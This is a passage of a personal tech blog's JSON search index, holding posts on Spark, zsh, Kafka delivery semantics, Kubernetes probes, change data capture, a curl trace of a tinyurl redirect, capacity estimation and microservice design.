MasterWebUI to 0.0.0.0, and started at http://DESKTOP-QCP2G4K.mshome.net:8080\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:03 INFO Master: I have been elected leader! New state: ALIVE\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe spark UI will now be running at http://localhost:8080\u003c/p\u003e","title":"Running Spark on Windows"},{"content":"zsh shell by default does not come with auto suggestions facility unlike fish shell.\nIf you are looking for auto suggestions similar to fish, have a look at https://github.com/zsh-users/zsh-autosuggestions\nFor MAC OS, following steps are required to install\ngit clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions Add into ~/.zshrc\nplugins=( # other plugins... zsh-autosuggestions ) ","permalink":"https://madhur.co.in/blog/2021/10/09/zsh-autocomplete.html","summary":"\u003cp\u003e\u003ccode\u003ezsh\u003c/code\u003e shell by default does not come with auto suggestions facility unlike fish shell.\u003c/p\u003e\n\u003cp\u003eIf you are looking for auto suggestions similar to fish, have a look at \u003ca href=\"https://github.com/zsh-users/zsh-autosuggestions\"\u003ehttps://github.com/zsh-users/zsh-autosuggestions\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eFor MAC OS, following steps are required to install\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAdd into \u003ccode\u003e~/.zshrc\u003c/code\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eplugins=( \n    # other plugins...\n    zsh-autosuggestions\n)\n\u003c/code\u003e\u003c/pre\u003e","title":"zsh Autocomplete"},{"content":"Change Data Capture (CDC) is a very important topic for any backend developer to understand. Lot of systems backbone is based on Change data capture.\nWhen I started my career as a backend developer, I did not have any understand of CDC. It is only after talking to some of the industry experts, I realized how important this topic is.\nIn this post, we will try to understand what is CDC and its practical usages:\nChange Data Capture is a software process that identifies and tracks changes to data in a source database. The source database can be relational or any database for that matter. CDC provides real time or near real time movement of data by moving and processing data continuously as new database events occur.\nOne of the example of CDC is Microsoft\u0026rsquo;s Cosmos DB Change Feed\nChange feed in Azure Cosmos DB\nDebezium is another solution which provides CDC for the databases such as MySQL\nChange data capture Methods Audit Columns By using columns such as LAST_UPDATED, DATE_MODIFIED columns. The application can query the rows which have modified that changed since data was last extracted and publish into the stream.\nTrigger Based CDC Defining database triggers that fire after INSERT, UPDATE OR DELETE commands are another method use to create a change log. Some databases have native support for triggers.\nLog based CDC Databases support transaction logs that store all database events. With log based CDC, new database transactions are read from source database native transaction logs.\nThe changes are captured without making application level changes and without having to \u0026gt; scan operational tables, both of which add additional workload and reduce source \u0026gt; systems’ performance.\nUsing CDC to implement the Outbox Pattern Content taken from https://debezium.io/blog/2020/02/10/event-sourcing-vs-cdc/\nThe primary goal of the Outbox Pattern is to ensure that updates to the application state (stored in tables) and publishing of the respective domain event is done within a single transaction. This involves creating an Outbox table in the database to collect those domain events as part of a transaction. Having transactional guarantees around the domain events and their propagation via the Outbox is important for data consistency across a system.\nAfter the transaction completes, the domain events are then picked up by a CDC connector and forwarded to interested consumers using a reliable message broker (see Figure 5). Those consumers may then use the domain events to materialize their own aggregates (see above per Event Sourcing)\n","permalink":"https://madhur.co.in/blog/2021/08/20/design-change-data-capture.html","summary":"\u003cp\u003eChange Data Capture (CDC) is a very important topic for any backend developer to understand. Lot of systems backbone is based on Change data capture.\u003c/p\u003e\n\u003cp\u003eWhen I started my career as a backend developer, I did not have any understand of CDC. It is only after talking to some of the industry experts, I realized how important this topic is.\u003c/p\u003e\n\u003cp\u003eIn this post, we will try to understand what is CDC and its practical usages:\u003c/p\u003e","title":"Designing Change Data Capture"},{"content":"When working with Kubernetes, Liveness and Readiness Probes are very important concepts to understand.\nReadiness Probe Kubernetes fires readiness probe to the pod to determine if the pod is ready to serve traffic or not.\nIt can simply be defined as\nreadinessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 We can also provide readiness probe as HTTP or TCP commands\nLiveness Probe Kubernetes fires readiness probe to the pod to determine if the pod is alive. If the pod is not alive, Kubernetes will restart the pod.\nAn important point to be noted is\nLiveness probes do not wait for readiness probes to succeed. If you want to wait before executing a liveness probe you should use initialDelaySeconds or a startupProbe.\nWhich means that liveness probe and readiness probes have no dependency on each other. Some people assume that liveness probe start only after readiness probe is successful. This is misconception and is incorrect.\nHow to determine the value of these probes Determine the max start-up time taken by the application server to successfully start accepting http connections. For example, in our case pod takes around 15 seconds in all different environments.\nAssuming a buffer of about 15 seconds we set the liveness probe to 30 seconds, with the default retry of 3 times and time difference between each retry as 5 seconds (these default value are set in periodSeconds and failureThreshold for each probe).\nThis leads to liveness probe being successful in the worst case scenario up to 45 seconds.\nWith another buffer of 15 seconds we set the readiness probe for 60 seconds.\nStartup Probes Kubernetes introduced a new type of probe called startup probe to introduce the delay for liveness probes.\nAs per kubernetes\nSometimes, you have to deal with legacy applications that might require an additional startup time on their first initialization. In \u0026gt; such cases, it can be tricky to set up liveness probe parameters without compromising the fast response to deadlocks that motivated such \u0026gt; a probe. The trick is to set up a startup probe with the same command, HTTP or TCP check, with a failureThreshold * periodSeconds long \u0026gt; enough to cover the worse case startup time.\n","permalink":"https://madhur.co.in/blog/2021/08/14/liveness-and-readiness-probes.html","summary":"\u003cp\u003eWhen working with Kubernetes, \u003ca href=\"https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/\"\u003eLiveness and Readiness Probes\u003c/a\u003e are very important concepts to understand.\u003c/p\u003e\n\u003ch2 id=\"readiness-probe\"\u003eReadiness Probe\u003c/h2\u003e\n\u003cp\u003eKubernetes fires readiness probe to the pod to determine if the pod is ready to serve traffic or not.\u003c/p\u003e\n\u003cp\u003eIt can simply be defined as\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ereadinessProbe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003ecommand\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e- \u003cspan class=\"l\"\u003ecat\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e- \u003cspan class=\"l\"\u003e/tmp/healthy\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003einitialDelaySeconds\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003eperiodSeconds\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWe can also provide readiness probe as HTTP or TCP commands\u003c/p\u003e\n\u003ch2 id=\"liveness-probe\"\u003eLiveness Probe\u003c/h2\u003e\n\u003cp\u003eKubernetes fires readiness probe to the pod to determine if the pod is alive. If the pod is not alive, Kubernetes will restart the pod.\u003c/p\u003e","title":"Liveness and Readiness Probes"},{"content":"Ever since I have started working with Kafka, I have came across these terms very frequently, At-least once, At-most once and Exactly Once.\nAs an engineer, It is very important to understand these concepts.\nAt-most once Configuration As the name suggests, At-most-once means the message will be delivered at-most once. Once delivered, there is no chance of delivering again. If the consumer is unable to handle the message due to some exception, the message is lost. This is because Kafka is automatically committing the last offset used.\nSet enable.auto.commit to true Set auto.commit.interval.ms to low value Since auto.commit is set to true, there is no need to call consumer.commitSync() from the consumer. Note that it is also possible to have at-lest-once scenario with the same configuration. Let’s say consumer successfully processed the message successfully into its store and in the meantime before kafka could commit the offset, consumer was restarted. In this scenario, consumer would again get the same message.\nHence, even if using at-most once or at-least once configuration, consumer should be always prepared to handle the duplicates.\nAt-least once configuration At-least once as the name suggests, message will be delivered atleast once. There is high chance that message will be delivered again as duplicate.\nSet enable.auto.commit to false OR Consumer should now then take control of the message offset commits to Kafka by making the consumer.commitSync() call. Let’s say consumer has processed the messages and committed the messages to its local store, but consumer crashes and did not get a chance to commit offset to Kafka before it has crashed. When consumer restarts, Kafka would deliver messages from the last offset, resulting in duplicates.\nExactly-once configuration Exactly-once as the name suggests, there will be only one and once message delivery. It difficult to achieve in practice.\nIn this case offset needs to be manually managed.\nSet enable.auto.commit to false Do not make call to consumer.commitSync() Implement a ConsumerRebalanceListener and within the listener perform consumer.seek(topicPartition,offset); to start reading from a specific offset of that topic/partition. While processing the messages, get hold of the offset of each message. Store the processed message’s offset in an atomic way along with the processed message using atomic-transaction. When data is stored in relational database atomicity is easier to implement. For non-relational data-store such as HDFS store or No-SQL store one way to achieve atomicity is as follows: Store the offset along with the message. ","permalink":"https://madhur.co.in/blog/2021/07/18/meaning-of-at-least-once-at-most-once-and-exactly-once-delivery.html","summary":"\u003cp\u003eEver since I have started working with Kafka, I have came across these terms very frequently, At-least once, At-most once and Exactly Once.\u003c/p\u003e\n\u003cp\u003eAs an engineer, It is very important to understand these concepts.\u003c/p\u003e\n\u003ch2 id=\"at-most-once-configuration\"\u003eAt-most once Configuration\u003c/h2\u003e\n\u003cp\u003eAs the name suggests, At-most-once means the message will be delivered at-most once. Once delivered, there is no chance of delivering again. If the consumer is unable to handle the message due to some exception, the message is lost. This is because Kafka is automatically committing the last offset used.\u003c/p\u003e","title":"Meaning of at-least once, at-most once and exactly-once delivery"},{"content":"I got curious about how tinyUrl does redirection for its Url. Is it standard browser redirect with 301/302 status code or something else?\nWith that created this tinyUrl tinyurl.com/madhur25\nFigured out that it was indeed a browser redirect using 301 status code.\n$ curl https://tinyurl.com/madhur25 -vvv * STATE: INIT =\u0026gt; CONNECT handle 0x600057310; line 1407 (connection #-5000) * Added connection 0. The cache now contains 1 members * Trying 104.20.138.65... * TCP_NODELAY set * STATE: CONNECT =\u0026gt; WAITCONNECT handle 0x600057310; line 1460 (connection #0) * Connected to tinyurl.com (104.20.138.65) port 443 (#0) * STATE: WAITCONNECT =\u0026gt; SENDPROTOCONNECT handle 0x600057310; line 1567 (connection #0) * Marked for [keep alive]: HTTP default * ALPN, offering http/1.1 * Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH * successfully set certificate verify locations: * CAfile: /usr/ssl/certs/ca-bundle.crt CApath: none * TLSv1.2 (OUT), TLS header, Certificate Status (22): * TLSv1.2 (OUT), TLS handshake, Client hello (1): * STATE: SENDPROTOCONNECT =\u0026gt; PROTOCONNECT handle 0x600057310; line 1581 (connection #0) * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Client hello (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Client hello (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-ECDSA-AES128-GCM-SHA256 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: C=US; ST=California; L=San Francisco; O=Cloudflare, Inc.; CN=sni.cloudflaressl.com * start date: Jul 3 00:00:00 2021 GMT * expire date: Jul 2 23:59:59 2022 GMT * subjectAltName: host \u0026#34;tinyurl.com\u0026#34; matched cert\u0026#39;s \u0026#34;tinyurl.com\u0026#34; * issuer: C=US; O=Cloudflare, Inc.; CN=Cloudflare Inc ECC CA-3 * SSL certificate verify ok. * STATE: PROTOCONNECT =\u0026gt; DO handle 0x600057310; line 1602 (connection #0) \u0026gt; GET /madhur25 HTTP/1.1 \u0026gt; Host: tinyurl.com \u0026gt; User-Agent: curl/7.51.0 \u0026gt; Accept: */* \u0026gt; * STATE: DO =\u0026gt; DO_DONE handle 0x600057310; line 1664 (connection #0) * STATE: DO_DONE =\u0026gt; WAITPERFORM handle 0x600057310; line 1791 (connection #0) * STATE: WAITPERFORM =\u0026gt; PERFORM handle 0x600057310; line 1801 (connection #0) * HTTP 1.1 or later with persistent connection, pipelining supported \u0026lt; HTTP/1.1 301 Moved Permanently \u0026lt; Date: Sun, 11 Jul 2021 04:11:01 GMT \u0026lt; Content-Type: text/html; charset=UTF-8 \u0026lt; Transfer-Encoding: chunked \u0026lt; Connection: keep-alive \u0026lt; X-Powered-By: PHP/7.3.28 \u0026lt; Location: https://www.madhur.co.in/ \u0026lt; Cache-Control: max-age=0, public, s-max-age=900, stale-if-error: 86400 \u0026lt; Referrer-Policy: unsafe-url \u0026lt; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload \u0026lt; CF-Cache-Status: DYNAMIC \u0026lt; Expect-CT: max-age=604800, report-uri=\u0026#34;https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\u0026#34; * Server cloudflare is not blacklisted \u0026lt; Server: cloudflare \u0026lt; CF-RAY: 66cf2f6e7e293c13-BLR \u0026lt; alt-svc: h3-27=\u0026#34;:443\u0026#34;; ma=86400, h3-28=\u0026#34;:443\u0026#34;; ma=86400, h3-29=\u0026#34;:443\u0026#34;; ma=86400, h3=\u0026#34;:443\u0026#34;; ma=86400 \u0026lt; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34; /\u0026gt; \u0026lt;meta http-equiv=\u0026#34;refresh\u0026#34; content=\u0026#34;0;url=\u0026#39;https://www.madhur.co.in/\u0026#39;\u0026#34; /\u0026gt; \u0026lt;title\u0026gt;Redirecting to https://www.madhur.co.in/\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; Redirecting to \u0026lt;a href=\u0026#34;https://www.madhur.co.in/\u0026#34;\u0026gt;https://www.madhur.co.in/\u0026lt;/a\u0026gt;. \u0026lt;/body\u0026gt; * STATE: PERFORM =\u0026gt; DONE handle 0x600057310; line 1965 (connection #0) * multi_done * Curl_http_done: called premature == 0 * Connection #0 to host tinyurl.com left intact \u0026lt;/html\u0026gt; ","permalink":"https://madhur.co.in/blog/2021/07/11/how-tinyurl-does-redirection.html","summary":"\u003cp\u003eI got curious about how tinyUrl does redirection for its Url. Is it standard browser redirect with 301/302 status code or something else?\u003c/p\u003e\n\u003cp\u003eWith that created this tinyUrl \u003ca href=\"https://tinyurl.com/madhur25\"\u003etinyurl.com/madhur25\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eFigured out that it was indeed a browser redirect using 301 status code.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ curl https://tinyurl.com/madhur25 -vvv\n* STATE: INIT =\u0026gt; CONNECT handle 0x600057310; line 1407 (connection #-5000)\n* Added connection 0. The cache now contains 1 members\n*   Trying 104.20.138.65...\n* TCP_NODELAY set\n* STATE: CONNECT =\u0026gt; WAITCONNECT handle 0x600057310; line 1460 (connection #0)\n* Connected to tinyurl.com (104.20.138.65) port 443 (#0)\n* STATE: WAITCONNECT =\u0026gt; SENDPROTOCONNECT handle 0x600057310; line 1567 (connection #0)\n* Marked for [keep alive]: HTTP default\n* ALPN, offering http/1.1\n* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH\n* successfully set certificate verify locations:\n*   CAfile: /usr/ssl/certs/ca-bundle.crt\n  CApath: none\n* TLSv1.2 (OUT), TLS header, Certificate Status (22):\n* TLSv1.2 (OUT), TLS handshake, Client hello (1):\n* STATE: SENDPROTOCONNECT =\u0026gt; PROTOCONNECT handle 0x600057310; line 1581 (connection #0)\n* TLSv1.2 (IN), TLS handshake, Server hello (2):\n* TLSv1.2 (IN), TLS handshake, Certificate (11):\n* TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n* TLSv1.2 (IN), TLS handshake, Server finished (14):\n* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n* TLSv1.2 (OUT), TLS change cipher, Client hello (1):\n* TLSv1.2 (OUT), TLS handshake, Finished (20):\n* TLSv1.2 (IN), TLS change cipher, Client hello (1):\n* TLSv1.2 (IN), TLS handshake, Finished (20):\n* SSL connection using TLSv1.2 / ECDHE-ECDSA-AES128-GCM-SHA256\n* ALPN, server accepted to use http/1.1\n* Server certificate:\n*  subject: C=US; ST=California; L=San Francisco; O=Cloudflare, Inc.; CN=sni.cloudflaressl.com\n*  start date: Jul  3 00:00:00 2021 GMT\n*  expire date: Jul  2 23:59:59 2022 GMT\n*  subjectAltName: host \u0026#34;tinyurl.com\u0026#34; matched cert\u0026#39;s \u0026#34;tinyurl.com\u0026#34;\n*  issuer: C=US; O=Cloudflare, Inc.; CN=Cloudflare Inc ECC CA-3\n*  SSL certificate verify ok.\n* STATE: PROTOCONNECT =\u0026gt; DO handle 0x600057310; line 1602 (connection #0)\n\u0026gt; GET /madhur25 HTTP/1.1\n\u0026gt; Host: tinyurl.com\n\u0026gt; User-Agent: curl/7.51.0\n\u0026gt; Accept: */*\n\u0026gt;\n* STATE: DO =\u0026gt; DO_DONE handle 0x600057310; line 1664 (connection #0)\n* STATE: DO_DONE =\u0026gt; WAITPERFORM handle 0x600057310; line 1791 (connection #0)\n* STATE: WAITPERFORM =\u0026gt; PERFORM handle 0x600057310; line 1801 (connection #0)\n* HTTP 1.1 or later with persistent connection, pipelining supported\n\u0026lt; HTTP/1.1 301 Moved Permanently\n\u0026lt; Date: Sun, 11 Jul 2021 04:11:01 GMT\n\u0026lt; Content-Type: text/html; charset=UTF-8\n\u0026lt; Transfer-Encoding: chunked\n\u0026lt; Connection: keep-alive\n\u0026lt; X-Powered-By: PHP/7.3.28\n\u0026lt; Location: https://www.madhur.co.in/\n\u0026lt; Cache-Control: max-age=0, public, s-max-age=900, stale-if-error: 86400\n\u0026lt; Referrer-Policy: unsafe-url\n\u0026lt; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\n\u0026lt; CF-Cache-Status: DYNAMIC\n\u0026lt; Expect-CT: max-age=604800, report-uri=\u0026#34;https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\u0026#34;\n* Server cloudflare is not blacklisted\n\u0026lt; Server: cloudflare\n\u0026lt; CF-RAY: 66cf2f6e7e293c13-BLR\n\u0026lt; alt-svc: h3-27=\u0026#34;:443\u0026#34;; ma=86400, h3-28=\u0026#34;:443\u0026#34;; ma=86400, h3-29=\u0026#34;:443\u0026#34;; ma=86400, h3=\u0026#34;:443\u0026#34;; ma=86400\n\u0026lt;\n\u0026lt;!DOCTYPE html\u0026gt;\n\u0026lt;html\u0026gt;\n    \u0026lt;head\u0026gt;\n        \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34; /\u0026gt;\n        \u0026lt;meta http-equiv=\u0026#34;refresh\u0026#34; content=\u0026#34;0;url=\u0026#39;https://www.madhur.co.in/\u0026#39;\u0026#34; /\u0026gt;\n\n        \u0026lt;title\u0026gt;Redirecting to https://www.madhur.co.in/\u0026lt;/title\u0026gt;\n    \u0026lt;/head\u0026gt;\n    \u0026lt;body\u0026gt;\n        Redirecting to \u0026lt;a href=\u0026#34;https://www.madhur.co.in/\u0026#34;\u0026gt;https://www.madhur.co.in/\u0026lt;/a\u0026gt;.\n    \u0026lt;/body\u0026gt;\n* STATE: PERFORM =\u0026gt; DONE handle 0x600057310; line 1965 (connection #0)\n* multi_done\n* Curl_http_done: called premature == 0\n* Connection #0 to host tinyurl.com left intact\n\u0026lt;/html\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e","title":"How tinyUrl Does redirection"},{"content":"MD5 MD5 is hashing algorithm. It produces 128 bit value\nBase64 Encoding Base64 character encodes 6 bits of the hash value. So if we use base64 encoding of above value, it will contain 21 characters\n","permalink":"https://madhur.co.in/blog/2021/07/06/encoding-and-hashing.html","summary":"\u003ch2 id=\"md5\"\u003eMD5\u003c/h2\u003e\n\u003cp\u003eMD5 is hashing algorithm. It produces 128 bit value\u003c/p\u003e\n\u003ch2 id=\"base64-encoding\"\u003eBase64 Encoding\u003c/h2\u003e\n\u003cp\u003eBase64 character encodes 6 bits of the hash value. So if we use base64 encoding of above value, it will contain 21 characters\u003c/p\u003e","title":"Encoding and Hashing"},{"content":"Capacity estimation is one of the most important exercises in design.\nTwitter Example\n1B Total Users 200 M DAU 100 M new tweets everyday Each user follows 200 people avg\nHow many favorites per day? Each user 5 favorite per day 200M *5 = 1B favorite\nTotal tweet views A User visits their timeline 2 times a day and visits 5 other people pages Each page has 20 tweets\n200M *(2+5)*20 = 28B / day\nStorage\n140 characters ~ 280 bytes 100M*(280+30) bytes =\u0026gt; 30 GB / day\nNot all tweets will have media, let’s assume that on average every fifth tweet has a photo and every tenth has a video. Let’s also assume on average a photo is 200KB and a video is 2MB. This will lead us to have 24TB of new media every day. (100M/5 photos * 200KB) + (100M/10 videos * 2MB) ~= 24TB/day\nBandwidth Estimates Since total ingress is 24TB per day, this would translate into 290MB/sec.\nRemember that we have 28B tweet views per day. We must show the photo of every tweet (if it has a photo), but let’s assume that the users watch every 3rd video they see in their timeline. So, total egress will be: (28B * 280 bytes) / 86400s of text =\u0026gt; 93MB/s\n(28B/5 * 200KB ) / 86400s of photos =\u0026gt; 13GB/S (28B/10/3 * 2MB ) / 86400s of Videos =\u0026gt; 22GB/s Total ~= 35GB/s\n","permalink":"https://madhur.co.in/blog/2021/06/27/capacity-estimation.html","summary":"\u003cp\u003eCapacity estimation is one of the most important exercises in design.\u003c/p\u003e\n\u003cp\u003eTwitter Example\u003c/p\u003e\n\u003cp\u003e1B Total Users\n200 M DAU\n100 M new tweets everyday\nEach user follows 200 people avg\u003c/p\u003e\n\u003cp\u003eHow many favorites per day?\nEach user 5 favorite per day\n200M *5 = 1B favorite\u003c/p\u003e\n\u003cp\u003eTotal tweet views\nA User visits their timeline 2 times a day and visits 5 other people pages\nEach page has 20 tweets\u003c/p\u003e\n\u003cp\u003e200M *(2+5)*20 = 28B / day\u003c/p\u003e","title":"Capacity Estimation Examples"},{"content":"Few months back, I had to make some changes to design of Communication Service.\nIt was quite a complex architecture overall and I thought of documenting this in blogpost to outline my thought process.\nA communication service is responsible for reliably delivering the customer notification to the end user via any channel.\nIn our case, the channels were email, SMS and push notification.\nThe communication service was divided into multiple microservices:\nCommunication Services This was the main service which recieved payloads from other microservices whenever they had to send out a communication.\nThe payload was json and interaction was via kafka queue.\nKey points: We had to make sure we monitor the kafka queue for lag very closely. As any lag can potentially delay the communication to the end user.\nThe communication service did the enrichment to the payload such as creating the email template, SMS template from its template database and pushed the enriched payload to individiual channel kafka queues. We wanted to have individual channel queues for independently scaling them. For instance, our traffic on email was much higher compared to SMS and push notification. That way, we could scale the partitions on email kafka and queue.\nThe communication service also generates a unique uuid for each request and persists into cassandra database. This serves as a single point of lookup for\nEmail / SMS / Push Service These are individual micro services listening to each of the channel queues. They make a rest call to the provider to actually deliver the email. Once the rest call is successfully made, we push the status message on a feedback kafka queue dedicated for each channel.The feedback kafka queues are again channel independent to allow them to independently scale.\nThese services also contain webhook listeners. Typically, when you delivery a email / SMS / push via a vendor, vendor will send the feedback via webhook weather the mail / SMS / push was successfully delivered, or if it bounced or if it went to spam etc.\nIt is important to have circuit breaker in these services as vendor services might go down any moment. Thus, it is important to have a dead letter queue, which would retry the failed pushes later.\nThese feedbacks are also sent to the same feedback queues as updates.\nWe could have had a separate service for feedback altogether, but I believe it didn\u0026rsquo;t require a separate microservice altogether which would expanded our monitoring footprint.\nFeedback Service This is the main services which receives all the updates w.r.t. each communication. These updates are consumed via feedback queues. It is important to scale this service sufficiently as we didn\u0026rsquo;t had a separate feedback service for each channel in order to have lesser complexity. Our email feedback kakfa topic had 200 partitions and there were 20 computes each running 10 threads to consume from these partitions.\nThe job of the feedback service is to receive the feedback and push it to cassandra database. It asynchronously also pushes the feedback to analytics channel mainly an elasticsearch database for analytics purpose, since cassandra is not suited for doing analytics.\nThe final design looked like this:\n","permalink":"https://madhur.co.in/blog/2021/06/20/simple-design-of-communication-service.html","summary":"\u003cp\u003eFew months back, I had to make some changes to design of Communication Service.\u003c/p\u003e\n\u003cp\u003eIt was quite a complex architecture overall and I thought of documenting this in blogpost to outline my thought process.\u003c/p\u003e\n\u003cp\u003eA communication service is responsible for reliably delivering the customer notification to the end user via any channel.\u003c/p\u003e\n\u003cp\u003eIn our case, the channels were email, SMS and push notification.\u003c/p\u003e\n\u003cp\u003eThe communication service was divided into multiple microservices:\u003c/p\u003e","title":"Simple Design of Communication Service"},{"content":"In a complex multiple microservices architecture, especially where in one microservice ends up calling a chain of other microservices, the API latency can become a concern.\nThis is because there is network hop at each microservice layer, which adds to the latency in addition to the actual logic executed by the microservice itself.\nFor example, in an e-commerce application, an Add to Cart API request might end up calling multiple downstream microservices such as Pricing Service, Availability Service etc.\nIn a complex architecture, where multiple clients are involved such as Mobile Apps and web browsers, the data needed by clients can differ depending upon the situation.\nFor example, if the user is adding an item to cart from the homepage, the client might not need pricing details as it might have that data already cached.\nIn other scenario, if the user is just increasing the quantity of the item, there might not be need to call the availability service as the front end might have called it when user initially called it and front end could cache the availability data of the item for some time (lets say 15 minutes).\nTo achieve the best API performance, it is important to recognize these patterns and incorporate into the API design.\nSo instead of creating a separate API for each of these use cases, its better incorporate this by using the Response Group Pattern\nFor example, in our hypothetical case, we might come up with following response groups:\nResponse Group Pricing Service Seller Service Asset Service full ✓ ✓ ✓ basic ✓ x x summary x ✓ x As shown above, we don't want to call Seller and Asset service when addToCart is invoked with response group basic, for example /addToCart?responseGroup=basic /addToCart?responseGroup=full /addToCart?responseGroup=summary The next problem to solve is, who will send this response group.\nIn ideal situation, the client should not be worried about the response group, hardcoding these response group at the client side is maintainence nightmare and possible bugs. As the feature evolve, the client would have to worry about the appropriate response group to call all the time.\nThat\u0026rsquo;s where GraphQL comes into the picture. The client should just pass the fields it requires to a GraphQL service, call the appropriate mutation and graphQL layer should have logic to determine the response and pass it to backend service.\nIn nutshell, that\u0026rsquo;s how our architecture looks like:\n","permalink":"https://madhur.co.in/blog/2021/06/13/api-response-group-pattern.html","summary":"\u003cp\u003eIn a complex multiple microservices architecture, especially where in one microservice ends up calling a chain of other microservices, the API latency can become a concern.\u003c/p\u003e\n\u003cp\u003eThis is because there is network hop at each microservice layer, which adds to the latency in addition to the actual logic executed by the microservice itself.\u003c/p\u003e\n\u003cp\u003eFor example, in an e-commerce application, an Add to Cart API request might end up calling multiple downstream microservices such as Pricing Service, Availability Service etc.\u003c/p\u003e","title":"API Response Group Pattern - Improving latencies using GraphQL"},{"content":"Recently, we migrated a large MySQL database containing GB\u0026rsquo;s of data, millions of rows in few tables to CosmosDB.\nThis was done without downtime. I want to lay down the approach we took in this post.\nOur intention was to setup both the database active - active and incrementally shift the traffic point to Service v1 (which was reading/writing to MySQL) towards Service v2 (which was reading/writing to CosmosDB)\nThe first challenge was doing the initial data migration (called as bootstrap) and then set up a replication pipeline (called as change feed) so that any updates/inserts/deletes happening on live MySQL DB are replicated to CosmosDB asynchronously.\nFor this, we made use of Kafka.\nThe Bootstrap process consisted of reading the table from MySQL and dumping its content into a corresponding Kafka topic. That means, we had a corresponding Kafka topic for each table within MySQL. There are products within market such as this which can do this as well.\nThe change feed process consisted of having another set of parallel kafka topics which would contain the change feed, i.e. inserts / deletes / updates happening on the MySQL database. This was tricky because setting it up requires modifying the service layer to publish this feeds to Kafka.\nThe point to note above is that bootstrap is a one time process and Change feed is an ongoing process. Also, bootstrap must be executed after the change feed process is up and running, so as to not miss any record.\nNow comes the consumer part, The consumer application will connect to these kafka topics and store the data in Cosmos DB. We used bulk insertion in batches of 